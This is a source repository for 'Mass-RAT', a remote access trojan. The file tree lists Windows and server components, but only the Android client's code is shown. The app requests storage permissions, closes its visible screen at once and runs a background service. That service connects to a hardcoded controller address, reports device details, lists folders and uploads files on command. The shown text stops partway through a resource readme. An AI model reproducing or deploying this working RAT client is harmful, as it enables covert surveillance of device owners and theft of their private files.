├── .gitattributes ├── .gitignore ├── ClientAndroid ├── Assets │ └── AboutAssets.txt ├── ClientAndroid.csproj ├── MainActivity.cs ├── Project │ ├── ClientSocket.cs │ ├── Configuration.cs │ ├── Helper.cs │ └── PacketHandler │ │ ├── HandleFileManager.cs │ │ └── ReadPacket.cs ├── Properties │ ├── AndroidManifest.xml │ └── AssemblyInfo.cs └── Resources │ ├── AboutResources.txt │ ├── Resource.designer.cs │ ├── layout │ └── activity_main.xml │ ├── mipmap-anydpi-v26 │ ├── ic_launcher.xml │ └── ic_launcher_round.xml │ ├── mipmap-hdpi │ ├── ic_launcher.png │ ├── ic_launcher_foreground.png │ └── ic_launcher_round.png │ ├── mipmap-mdpi │ ├── ic_launcher.png │ ├── ic_launcher_foreground.png │ └── ic_launcher_round.png │ ├── mipmap-xhdpi │ ├── ic_launcher.png │ ├── ic_launcher_foreground.png │ └── ic_launcher_round.png │ ├── mipmap-xxhdpi │ ├── ic_launcher.png │ ├── ic_launcher_foreground.png │ └── ic_launcher_round.png │ ├── mipmap-xxxhdpi │ ├── ic_launcher.png │ ├── ic_launcher_foreground.png │ └── ic_launcher_round.png │ └── values │ ├── colors.xml │ ├── ic_launcher_background.xml │ ├── strings.xml │ └── styles.xml ├── ClientWindows ├── ClientWindows.csproj ├── ILMerge.props ├── ILMergeOrder.txt ├── Networking │ └── ClientSocket.cs ├── PacketHandler │ ├── HandleFileManager.cs │ └── ReadPacket.cs ├── Program.cs ├── Properties │ └── AssemblyInfo.cs ├── Settings │ └── Configuration.cs ├── app.manifest └── packages.config ├── LICENSE ├── Mass-RAT.sln ├── README.md ├── Server ├── App.config ├── Controls │ ├── BetterListView.cs │ └── ListViewColumnSorter.cs ├── Forms │ ├── FormFileManager.Designer.cs │ ├── FormFileManager.cs │ ├── FormFileManager.resx │ ├── FormMain.Designer.cs │ ├── FormMain.cs │ └── FormMain.resx ├── ILMerge.props ├── ILMergeOrder.txt ├── Networking │ ├── SocketClient.cs │ └── SocketServer.cs ├── PacketHandler │ ├── HandleFileManager.cs │ └── ReadPacket.cs ├── Program.cs ├── Properties │ ├── AssemblyInfo.cs │ ├── Resources.Designer.cs │ ├── Resources.resx │ ├── Settings.Designer.cs │ └── Settings.settings ├── Server.csproj ├── Settings │ ├── Configuration.cs │ └── SafeThreading.cs ├── app.manifest └── packages.config └── SharedLibraries ├── Helper ├── Convertor.cs └── Gzip.cs ├── ILMerge.props ├── ILMergeOrder.txt ├── Packet ├── Commands │ ├── PacketFileManager.cs │ ├── PacketIdentification.cs │ └── PacketKeepAlive.cs ├── Enums │ └── ClientType.cs ├── Interfaces │ └── IPacket.cs └── Serialization │ ├── Desirialize.cs │ └── Serialize.cs ├── Properties └── AssemblyInfo.cs ├── SharedLibraries.csproj └── packages.config /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Aa][Rr][Mm]/ 27 | [Aa][Rr][Mm]64/ 28 | bld/ 29 | [Bb]in/ 30 | [Oo]bj/ 31 | [Ll]og/ 32 | [Ll]ogs/ 33 | 34 | # Visual Studio 2015/2017 cache/options directory 35 | .vs/ 36 | # Uncomment if you have tasks that create the project's static files in wwwroot 37 | #wwwroot/ 38 | 39 | # Visual Studio 2017 auto generated files 40 | Generated\ Files/ 41 | 42 | # MSTest test Results 43 | [Tt]est[Rr]esult*/ 44 | [Bb]uild[Ll]og.* 45 | 46 | # NUnit 47 | *.VisualState.xml 48 | TestResult.xml 49 | nunit-*.xml 50 | 51 | # Build Results of an ATL Project 52 | [Dd]ebugPS/ 53 | [Rr]eleasePS/ 54 | dlldata.c 55 | 56 | # Benchmark Results 57 | BenchmarkDotNet.Artifacts/ 58 | 59 | # .NET Core 60 | project.lock.json 61 | project.fragment.lock.json 62 | artifacts/ 63 | 64 | # StyleCop 65 | StyleCopReport.xml 66 | 67 | # Files built by Visual Studio 68 | *_i.c 69 | *_p.c 70 | *_h.h 71 | *.ilk 72 | *.meta 73 | *.obj 74 | *.iobj 75 | *.pch 76 | *.pdb 77 | *.ipdb 78 | *.pgc 79 | *.pgd 80 | *.rsp 81 | *.sbr 82 | *.tlb 83 | *.tli 84 | *.tlh 85 | *.tmp 86 | *.tmp_proj 87 | *_wpftmp.csproj 88 | *.log 89 | *.vspscc 90 | *.vssscc 91 | .builds 92 | *.pidb 93 | *.svclog 94 | *.scc 95 | 96 | # Chutzpah Test files 97 | _Chutzpah* 98 | 99 | # Visual C++ cache files 100 | ipch/ 101 | *.aps 102 | *.ncb 103 | *.opendb 104 | *.opensdf 105 | *.sdf 106 | *.cachefile 107 | *.VC.db 108 | *.VC.VC.opendb 109 | 110 | # Visual Studio profiler 111 | *.psess 112 | *.vsp 113 | *.vspx 114 | *.sap 115 | 116 | # Visual Studio Trace Files 117 | *.e2e 118 | 119 | # TFS 2012 Local Workspace 120 | $tf/ 121 | 122 | # Guidance Automation Toolkit 123 | *.gpState 124 | 125 | # ReSharper is a .NET coding add-in 126 | _ReSharper*/ 127 | *.[Rr]e[Ss]harper 128 | *.DotSettings.user 129 | 130 | # JustCode is a .NET coding add-in 131 | .JustCode 132 | 133 | # TeamCity is a build add-in 134 | _TeamCity* 135 | 136 | # DotCover is a Code Coverage Tool 137 | *.dotCover 138 | 139 | # AxoCover is a Code Coverage Tool 140 | .axoCover/* 141 | !.axoCover/settings.json 142 | 143 | # Visual Studio code coverage results 144 | *.coverage 145 | *.coveragexml 146 | 147 | # NCrunch 148 | _NCrunch_* 149 | .*crunch*.local.xml 150 | nCrunchTemp_* 151 | 152 | # MightyMoose 153 | *.mm.* 154 | AutoTest.Net/ 155 | 156 | # Web workbench (sass) 157 | .sass-cache/ 158 | 159 | # Installshield output folder 160 | [Ee]xpress/ 161 | 162 | # DocProject is a documentation generator add-in 163 | DocProject/buildhelp/ 164 | DocProject/Help/*.HxT 165 | DocProject/Help/*.HxC 166 | DocProject/Help/*.hhc 167 | DocProject/Help/*.hhk 168 | DocProject/Help/*.hhp 169 | DocProject/Help/Html2 170 | DocProject/Help/html 171 | 172 | # Click-Once directory 173 | publish/ 174 | 175 | # Publish Web Output 176 | *.[Pp]ublish.xml 177 | *.azurePubxml 178 | # Note: Comment the next line if you want to checkin your web deploy settings, 179 | # but database connection strings (with potential passwords) will be unencrypted 180 | *.pubxml 181 | *.publishproj 182 | 183 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 184 | # checkin your Azure Web App publish settings, but sensitive information contained 185 | # in these scripts will be unencrypted 186 | PublishScripts/ 187 | 188 | # NuGet Packages 189 | *.nupkg 190 | # NuGet Symbol Packages 191 | *.snupkg 192 | # The packages folder can be ignored because of Package Restore 193 | **/[Pp]ackages/* 194 | # except build/, which is used as an MSBuild target. 195 | !**/[Pp]ackages/build/ 196 | # Uncomment if necessary however generally it will be regenerated when needed 197 | #!**/[Pp]ackages/repositories.config 198 | # NuGet v3's project.json files produces more ignorable files 199 | *.nuget.props 200 | *.nuget.targets 201 | 202 | # Microsoft Azure Build Output 203 | csx/ 204 | *.build.csdef 205 | 206 | # Microsoft Azure Emulator 207 | ecf/ 208 | rcf/ 209 | 210 | # Windows Store app package directories and files 211 | AppPackages/ 212 | BundleArtifacts/ 213 | Package.StoreAssociation.xml 214 | _pkginfo.txt 215 | *.appx 216 | *.appxbundle 217 | *.appxupload 218 | 219 | # Visual Studio cache files 220 | # files ending in .cache can be ignored 221 | *.[Cc]ache 222 | # but keep track of directories ending in .cache 223 | !?*.[Cc]ache/ 224 | 225 | # Others 226 | ClientBin/ 227 | ~$* 228 | *~ 229 | *.dbmdl 230 | *.dbproj.schemaview 231 | *.jfm 232 | *.pfx 233 | *.publishsettings 234 | orleans.codegen.cs 235 | 236 | # Including strong name files can present a security risk 237 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 238 | #*.snk 239 | 240 | # Since there are multiple workflows, uncomment next line to ignore bower_components 241 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 242 | #bower_components/ 243 | 244 | # RIA/Silverlight projects 245 | Generated_Code/ 246 | 247 | # Backup & report files from converting an old project file 248 | # to a newer Visual Studio version. Backup files are not needed, 249 | # because we have git ;-) 250 | _UpgradeReport_Files/ 251 | Backup*/ 252 | UpgradeLog*.XML 253 | UpgradeLog*.htm 254 | ServiceFabricBackup/ 255 | *.rptproj.bak 256 | 257 | # SQL Server files 258 | *.mdf 259 | *.ldf 260 | *.ndf 261 | 262 | # Business Intelligence projects 263 | *.rdl.data 264 | *.bim.layout 265 | *.bim_*.settings 266 | *.rptproj.rsuser 267 | *- [Bb]ackup.rdl 268 | *- [Bb]ackup ([0-9]).rdl 269 | *- [Bb]ackup ([0-9][0-9]).rdl 270 | 271 | # Microsoft Fakes 272 | FakesAssemblies/ 273 | 274 | # GhostDoc plugin setting file 275 | *.GhostDoc.xml 276 | 277 | # Node.js Tools for Visual Studio 278 | .ntvs_analysis.dat 279 | node_modules/ 280 | 281 | # Visual Studio 6 build log 282 | *.plg 283 | 284 | # Visual Studio 6 workspace options file 285 | *.opt 286 | 287 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 288 | *.vbw 289 | 290 | # Visual Studio LightSwitch build output 291 | **/*.HTMLClient/GeneratedArtifacts 292 | **/*.DesktopClient/GeneratedArtifacts 293 | **/*.DesktopClient/ModelManifest.xml 294 | **/*.Server/GeneratedArtifacts 295 | **/*.Server/ModelManifest.xml 296 | _Pvt_Extensions 297 | 298 | # Paket dependency manager 299 | .paket/paket.exe 300 | paket-files/ 301 | 302 | # FAKE - F# Make 303 | .fake/ 304 | 305 | # CodeRush personal settings 306 | .cr/personal 307 | 308 | # Python Tools for Visual Studio (PTVS) 309 | __pycache__/ 310 | *.pyc 311 | 312 | # Cake - Uncomment if you are using it 313 | # tools/** 314 | # !tools/packages.config 315 | 316 | # Tabs Studio 317 | *.tss 318 | 319 | # Telerik's JustMock configuration file 320 | *.jmconfig 321 | 322 | # BizTalk build output 323 | *.btp.cs 324 | *.btm.cs 325 | *.odx.cs 326 | *.xsd.cs 327 | 328 | # OpenCover UI analysis results 329 | OpenCover/ 330 | 331 | # Azure Stream Analytics local run output 332 | ASALocalRun/ 333 | 334 | # MSBuild Binary and Structured Log 335 | *.binlog 336 | 337 | # NVidia Nsight GPU debugger configuration file 338 | *.nvuser 339 | 340 | # MFractors (Xamarin productivity tool) working folder 341 | .mfractor/ 342 | 343 | # Local History for Visual Studio 344 | .localhistory/ 345 | 346 | # BeatPulse healthcheck temp database 347 | healthchecksdb 348 | 349 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 350 | MigrationBackup/ 351 | 352 | # Ionide (cross platform F# VS Code tools) working folder 353 | .ionide/ 354 | -------------------------------------------------------------------------------- /ClientAndroid/Assets/AboutAssets.txt: -------------------------------------------------------------------------------- 1 | Any raw assets you want to be deployed with your application can be placed in 2 | this directory (and child directories) and given a Build Action of "AndroidAsset". 3 | 4 | These files will be deployed with your package and will be accessible using Android's 5 | AssetManager, like this: 6 | 7 | public class ReadAsset : Activity 8 | { 9 | protected override void OnCreate (Bundle bundle) 10 | { 11 | base.OnCreate (bundle); 12 | 13 | InputStream input = Assets.Open ("my_asset.txt"); 14 | } 15 | } 16 | 17 | Additionally, some Android functions will automatically load asset files: 18 | 19 | Typeface tf = Typeface.CreateFromAsset (Context.Assets, "fonts/samplefont.ttf"); -------------------------------------------------------------------------------- /ClientAndroid/ClientAndroid.csproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | Debug 5 | AnyCPU 6 | 8.0.30703 7 | 2.0 8 | {B27784AA-F33E-4F25-975D-0D6A4A4DFD37} 9 | {EFBA0AD7-5A72-4C68-AF49-83D382785DCF};{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC} 10 | {122416d6-6b49-4ee2-a1e8-b825f31c79fe} 11 | Library 12 | Properties 13 | ClientAndroid 14 | ClientAndroid 15 | 512 16 | True 17 | Resources\Resource.designer.cs 18 | Resource 19 | Off 20 | false 21 | v9.0 22 | Properties\AndroidManifest.xml 23 | Resources 24 | Assets 25 | true 26 | true 27 | Xamarin.Android.Net.AndroidClientHandler 28 | 29 | 30 | True 31 | portable 32 | False 33 | bin\Debug\ 34 | DEBUG;TRACE 35 | prompt 36 | 4 37 | True 38 | None 39 | False 40 | false 41 | false 42 | false 43 | false 44 | 45 | 46 | false 47 | none 48 | True 49 | bin\Release\ 50 | TRACE 51 | prompt 52 | 4 53 | true 54 | False 55 | None 56 | true 57 | false 58 | false 59 | false 60 | false 61 | apk 62 | false 63 | 64 | 65 | 66 | proguard 67 | true 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | Designer 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | 110 | 111 | 112 | 113 | 114 | 115 | 116 | 117 | 118 | 119 | 120 | 121 | 122 | 123 | 124 | {4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3} 125 | SharedLibraries 126 | 127 | 128 | 129 | 136 | -------------------------------------------------------------------------------- /ClientAndroid/MainActivity.cs: -------------------------------------------------------------------------------- 1 | using ClientAndroid.Project; 2 | 3 | using Android.App; 4 | using Android.OS; 5 | using Android.Support.V7.App; 6 | using Android; 7 | using Android.Content; 8 | 9 | 10 | namespace ClientAndroid 11 | { 12 | [Activity(Label = "NYANxCAT", Theme = "@style/AppTheme", MainLauncher = true)] 13 | public class MainActivity : AppCompatActivity 14 | { 15 | protected override void OnCreate(Bundle savedInstanceState) 16 | { 17 | base.OnCreate(savedInstanceState); 18 | 19 | // Set our view from the "main" layout resource 20 | SetContentView(Resource.Layout.activity_main); 21 | 22 | // give permissions to read and write storage 23 | RequestPermissions(new string[] { 24 | Manifest.Permission.ReadExternalStorage, 25 | Manifest.Permission.WriteExternalStorage }, 00); 26 | 27 | // Socket service 28 | StartService(new Intent(this, typeof(SocketClient))); 29 | 30 | // remove activity 31 | this.FinishAffinity(); 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /ClientAndroid/Project/ClientSocket.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.IO; 3 | using System.Net.Sockets; 4 | using System.Threading; 5 | 6 | using Android.App; 7 | using Android.Content; 8 | using Android.OS; 9 | 10 | using ClientAndroid.Project.PacketHandler; 11 | using SharedLibraries.Packet.Commands; 12 | using SharedLibraries.Packet.Enums; 13 | using SharedLibraries.Packet.Interfaces; 14 | using SharedLibraries.Packet.Serialization; 15 | 16 | namespace ClientAndroid.Project 17 | { 18 | [Service] 19 | public class SocketClient : Service 20 | { 21 | private static bool IsRunning { get; set; } 22 | /// 23 | /// The socket used for communication. 24 | /// 25 | public static Socket Socket { get; private set; } 26 | 27 | /// 28 | /// send a ping to check if other socket is alive or not every x second 29 | /// 30 | private static Timer KeepAlivePacket; 31 | 32 | /// 33 | /// determinate the socket status 34 | /// 35 | public static bool IsConnected { get; private set; } 36 | 37 | /// 38 | /// sync send 39 | /// 40 | private static readonly object LockSend = new object(); 41 | 42 | 43 | /// 44 | /// initialize your activity 45 | /// 46 | public override void OnCreate() 47 | { 48 | base.OnCreate(); 49 | } 50 | 51 | /// 52 | /// Called by the system every time a client explicitly starts the service 53 | /// 54 | /// The Intent supplied to StartService(Intent), as given. 55 | /// Additional data about this start request 56 | /// A unique integer representing this specific request to start 57 | /// 58 | public override StartCommandResult OnStartCommand(Intent intent, StartCommandFlags flags, int startId) 59 | { 60 | if (!IsRunning) 61 | { 62 | IsRunning = true; 63 | new Thread(() => 64 | { 65 | ReceiveHeader(); 66 | }).Start(); 67 | } 68 | return StartCommandResult.NotSticky; 69 | } 70 | 71 | /// 72 | /// Read incoming headers 73 | /// 74 | public static void ReceiveHeader() 75 | { 76 | while (true) 77 | { 78 | while (IsConnected) 79 | { 80 | try 81 | { 82 | byte[] header = ReceiveData(4); 83 | if (header.Length != 4) 84 | { 85 | IsConnected = false; 86 | break; 87 | } 88 | else 89 | { 90 | int packetSize = BitConverter.ToInt32(header, 0); 91 | if (packetSize > 0) 92 | { 93 | Console.WriteLine($"Android: packet size is {packetSize}"); 94 | byte[] payload = ReceiveData(packetSize); 95 | if (payload.Length != packetSize) 96 | { 97 | IsConnected = false; 98 | break; 99 | } 100 | else 101 | { 102 | IPacket packet = Desirialize.PacketDesirialize(payload); 103 | Console.WriteLine($"Android: packet received is {packet.GetType().Name}"); 104 | new Thread(delegate () 105 | { 106 | new ReadPacket(packet); 107 | }).Start(); 108 | } 109 | } 110 | } 111 | } 112 | catch (SocketException se) 113 | { 114 | Console.WriteLine(se.SocketErrorCode); 115 | IsConnected = false; 116 | break; 117 | } 118 | catch (Exception ex) 119 | { 120 | Console.WriteLine(ex.Message); 121 | IsConnected = false; 122 | break; 123 | } 124 | } 125 | 126 | while (!IsConnected) 127 | { 128 | try 129 | { 130 | Thread.Sleep(2000); 131 | Socket?.Dispose(); 132 | KeepAlivePacket?.Dispose(); 133 | 134 | Socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) 135 | { 136 | ReceiveBufferSize = 50 * 1000, 137 | SendBufferSize = 50 * 1000, 138 | }; 139 | Socket.Connect(Configuration.Host, Configuration.Port); 140 | IsConnected = true; 141 | 142 | Send(IdSender()); 143 | KeepAlivePacket = new Timer(Ping, null, new Random().Next(5000, 30000), new Random().Next(5000, 30000)); //random interval 144 | } 145 | catch (SocketException se) 146 | { 147 | Console.WriteLine(se.SocketErrorCode); 148 | } 149 | catch (Exception ex) 150 | { 151 | Console.WriteLine(ex.Message); 152 | } 153 | } 154 | 155 | } 156 | } 157 | 158 | /// 159 | /// Read incoming packets | Synchronous 160 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.receive?view=netframework-4.8 161 | /// 162 | /// size of incoming payload 163 | /// full payload as byte array 164 | private static byte[] ReceiveData(int size) 165 | { 166 | try 167 | { 168 | Socket.ReceiveBufferSize = size; 169 | byte[] data = new byte[size]; 170 | int offset = 0; 171 | 172 | while (size > 0) 173 | { 174 | int received = Socket.Receive(data, offset, size, SocketFlags.None); 175 | 176 | if (received <= 0) 177 | return new byte[0]; 178 | 179 | offset += received; 180 | size -= received; 181 | //Console.WriteLine($"Client: received[{received}] offset[{offset}] size[{size}]"); 182 | } 183 | return data; 184 | } 185 | catch (SocketException se) 186 | { 187 | Console.WriteLine(se.SocketErrorCode); 188 | } 189 | catch (Exception ex) 190 | { 191 | Console.WriteLine(ex.Message); 192 | } 193 | return new byte[0]; 194 | } 195 | 196 | /// 197 | /// Send packet 198 | /// docs.microsoft.com/en-us/dotnet/api/system.net.sockets.socket.send?view=netframework-4.5 199 | /// 200 | /// payload to be sent 201 | public static void Send(IPacket packet) 202 | { 203 | lock (LockSend) 204 | { 205 | try 206 | { 207 | if (!Socket.Connected || !IsConnected || packet == null) 208 | { 209 | IsConnected = false; 210 | return; 211 | } 212 | else 213 | { 214 | byte[] buffer = Serialize.PacketSerialize(packet); 215 | byte[] bufferSize = BitConverter.GetBytes(buffer.Length); // convert to 4 bytes Length 216 | Console.WriteLine($"Android: Sending {buffer.Length}"); 217 | 218 | Socket.Poll(-1, SelectMode.SelectWrite); 219 | Socket.Send(bufferSize, 0, bufferSize.Length, SocketFlags.None); // send the 4 bytes first 220 | using (MemoryStream memoryStream = new MemoryStream(buffer)) 221 | { 222 | int read = 0; 223 | memoryStream.Position = 0; 224 | byte[] chunk = new byte[50 * 1000]; 225 | while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) 226 | { 227 | Socket.Poll(-1, SelectMode.SelectWrite); 228 | int sent = Socket.Send(chunk, 0, read, SocketFlags.None); 229 | Console.WriteLine($"Android: Sent {sent}"); 230 | } 231 | } 232 | 233 | } 234 | } 235 | catch (SocketException se) 236 | { 237 | Console.WriteLine(se.SocketErrorCode); 238 | IsConnected = false; 239 | } 240 | catch (Exception ex) 241 | { 242 | Console.WriteLine(ex.Message); 243 | IsConnected = false; 244 | } 245 | } 246 | } 247 | 248 | private static void Ping(object o) 249 | { 250 | Send(new PacketKeepAlive()); // useful to send current active window 251 | GC.Collect(); 252 | } 253 | 254 | private static IPacket IdSender() 255 | { 256 | return new PacketIdentification 257 | { 258 | Type = ClientType.Android, 259 | Username = $"{Build.Manufacturer} {Build.Model}", 260 | OperatingSystem = Helper.GetAndroidVersion(), 261 | ID = Configuration.Id, 262 | }; 263 | } 264 | 265 | public override IBinder OnBind(Intent intent) 266 | { 267 | // This is a started service, not a bound service, so we just return null. 268 | return null; 269 | } 270 | } 271 | 272 | } -------------------------------------------------------------------------------- /ClientAndroid/Project/Configuration.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace ClientAndroid.Project 4 | { 5 | public static class Configuration 6 | { 7 | public static string Host = "192.168.1.233"; 8 | public static int Port = 5505; 9 | public static readonly string Id = Guid.NewGuid().ToString(); 10 | } 11 | } -------------------------------------------------------------------------------- /ClientAndroid/Project/Helper.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | 6 | using Android.App; 7 | using Android.Content; 8 | using Android.OS; 9 | using Android.Runtime; 10 | using Android.Views; 11 | using Android.Widget; 12 | 13 | namespace ClientAndroid.Project 14 | { 15 | public static class Helper 16 | { 17 | /// 18 | /// Fast way to detect the OS version with names instead of just int 19 | /// To make my life easier. 20 | /// 21 | /// 22 | public static string GetAndroidVersion() 23 | { 24 | switch ((int)Build.VERSION.SdkInt) 25 | { 26 | case 21: 27 | { 28 | return $"Lollipop 5.0"; 29 | } 30 | 31 | case 22: 32 | { 33 | return $"Lollipop 5.1"; 34 | } 35 | 36 | case 23: 37 | { 38 | return $"Marshmallow 6.0"; 39 | } 40 | 41 | case 24: 42 | { 43 | return $"Nougat 7.0"; 44 | } 45 | 46 | case 25: 47 | { 48 | return $"Nougat 7.1"; 49 | } 50 | 51 | case 26: 52 | { 53 | return $"Oreo 8.1"; 54 | } 55 | 56 | case 27: 57 | { 58 | return $"Oreo 8.0"; 59 | } 60 | 61 | case 28: 62 | { 63 | return $"Pie 9"; 64 | } 65 | 66 | case 29: 67 | { 68 | return $"Android 10"; 69 | } 70 | 71 | default: 72 | { 73 | return Build.VERSION.Release; 74 | } 75 | } 76 | } 77 | } 78 | } -------------------------------------------------------------------------------- /ClientAndroid/Project/PacketHandler/HandleFileManager.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Net.Sockets; 5 | using Android.Graphics; 6 | using SharedLibraries.Helper; 7 | using SharedLibraries.Packet.Commands; 8 | using SharedLibraries.Packet.Interfaces; 9 | using SharedLibraries.Packet.Serialization; 10 | 11 | namespace ClientAndroid.Project.PacketHandler 12 | { 13 | public class HandleFileManager 14 | { 15 | public void GetPath(string path) 16 | { 17 | Console.WriteLine($"Android: GetPath {path}"); 18 | try 19 | { 20 | // two new list to add files and folders 21 | PacketFileManager_GetPath packetGetPath = new PacketFileManager_GetPath 22 | { 23 | Path = path, 24 | ListFiles = new List(), 25 | ListFolders = new List(), 26 | }; 27 | 28 | foreach (DirectoryInfo folder in new DirectoryInfo(path).GetDirectories()) 29 | { 30 | packetGetPath.ListFolders.Add(new PacketFileManager_FolderPacket 31 | { 32 | FullPath = folder.FullName, 33 | Name = folder.Name, 34 | DateCreation = folder.CreationTime.ToUniversalTime(), 35 | }); 36 | } 37 | 38 | foreach (FileInfo file in new DirectoryInfo(path).GetFiles()) 39 | { 40 | packetGetPath.ListFiles.Add(new PacketFileManager_FilePacket 41 | { 42 | FullPath = file.FullName, 43 | Name = file.Name, 44 | Icon = ResizeImage(file.FullName), 45 | Size = Convertor.IntegerToUnitData(file.Length), 46 | DateCreation = file.CreationTime.ToUniversalTime(), 47 | }); 48 | } 49 | SocketClient.Send(packetGetPath); 50 | } 51 | catch (Exception ex) 52 | { 53 | SocketClient.Send(new PacketFileManager_GetPath { Error = ex.Message }); 54 | } 55 | } 56 | 57 | public byte[] ResizeImage(string sourceFile) 58 | { 59 | 60 | try 61 | { 62 | var options = new BitmapFactory.Options() 63 | { 64 | InJustDecodeBounds = false, 65 | InPurgeable = true, 66 | }; 67 | 68 | using (var image = BitmapFactory.DecodeFile(sourceFile, options)) 69 | using (var bitmapScaled = Bitmap.CreateScaledBitmap(image, 48, 48, true)) 70 | using (MemoryStream stream = new MemoryStream()) 71 | { 72 | bitmapScaled.Compress(Bitmap.CompressFormat.Jpeg, 100, stream); 73 | return stream.ToArray(); 74 | } 75 | } 76 | catch 77 | { 78 | return new byte[0]; 79 | } 80 | } 81 | 82 | 83 | #region Download File 84 | public void DownloadFile(PacketFileManager_DownloadFile packet) 85 | { 86 | FileInfo fileInfo = new FileInfo(packet.FullPath); 87 | if (fileInfo.Exists) 88 | { 89 | Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); 90 | socket.Connect(Configuration.Host, Configuration.Port); 91 | if (socket.Connected) 92 | { 93 | string fileId = Guid.NewGuid().ToString(); 94 | SendSocket(new PacketFileManager_DownloadFile 95 | { 96 | FullPath = packet.FullPath, 97 | SocketId = Configuration.Id, 98 | Size = fileInfo.Length, 99 | FileId = fileId, 100 | }, socket); 101 | 102 | SendSocket(new PacketFileManager_DownloadFile 103 | { 104 | ByteArray = File.ReadAllBytes(packet.FullPath), 105 | FullPath = packet.FullPath, 106 | SocketId = Configuration.Id, 107 | FileId = fileId, 108 | }, socket); 109 | } 110 | } 111 | } 112 | 113 | private void SendSocket(IPacket packet, Socket socket) 114 | { 115 | byte[] buffer = Serialize.PacketSerialize(packet); 116 | byte[] bufferSize = BitConverter.GetBytes(buffer.Length); 117 | Console.WriteLine($"DownloadFile: Sending {buffer.Length}"); 118 | 119 | socket.Poll(-1, SelectMode.SelectWrite); 120 | socket.Send(bufferSize, 0, bufferSize.Length, SocketFlags.None); 121 | socket.SendBufferSize = buffer.Length; 122 | using (MemoryStream memoryStream = new MemoryStream(buffer)) 123 | { 124 | int read = 0; 125 | memoryStream.Position = 0; 126 | byte[] chunk = new byte[50 * 1000]; 127 | while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) 128 | { 129 | socket.Poll(-1, SelectMode.SelectWrite); 130 | int sent = socket.Send(chunk, 0, read, SocketFlags.None); 131 | Console.WriteLine($"DownloadFile: Sent {sent}"); 132 | } 133 | } 134 | } 135 | #endregion 136 | } 137 | } 138 | -------------------------------------------------------------------------------- /ClientAndroid/Project/PacketHandler/ReadPacket.cs: -------------------------------------------------------------------------------- 1 | using SharedLibraries.Packet.Commands; 2 | using SharedLibraries.Packet.Interfaces; 3 | 4 | namespace ClientAndroid.Project.PacketHandler 5 | { 6 | public class ReadPacket 7 | { 8 | public ReadPacket(IPacket packet) 9 | { 10 | switch (packet) 11 | { 12 | case PacketFileManager_GetPath _packet: 13 | { 14 | new HandleFileManager().GetPath(_packet.Path); 15 | break; 16 | } 17 | 18 | case PacketFileManager_GetDrivers _packet: 19 | { 20 | new HandleFileManager().GetPath(Android.OS.Environment.ExternalStorageDirectory.AbsolutePath); 21 | break; 22 | } 23 | 24 | case PacketFileManager_DownloadFile _packet: 25 | { 26 | new HandleFileManager().DownloadFile(_packet); 27 | break; 28 | } 29 | } 30 | } 31 | } 32 | } -------------------------------------------------------------------------------- /ClientAndroid/Properties/AndroidManifest.xml: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | -------------------------------------------------------------------------------- /ClientAndroid/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("AndroidApp")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("AndroidApp")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | [assembly: ComVisible(false)] 17 | 18 | // Version information for an assembly consists of the following four values: 19 | // 20 | // Major Version 21 | // Minor Version 22 | // Build Number 23 | // Revision 24 | // 25 | // You can specify all the values or you can default the Build and Revision Numbers 26 | // by using the '*' as shown below: 27 | // [assembly: AssemblyVersion("1.0.*")] 28 | [assembly: AssemblyVersion("1.0.0.0")] 29 | [assembly: AssemblyFileVersion("1.0.0.0")] 30 | -------------------------------------------------------------------------------- /ClientAndroid/Resources/AboutResources.txt: -------------------------------------------------------------------------------- 1 | Images, layout descriptions, binary blobs and string dictionaries can be included 2 | in your application as resource files. Various Android APIs are designed to 3 | operate on the resource IDs instead of dealing with images, strings or binary blobs 4 | 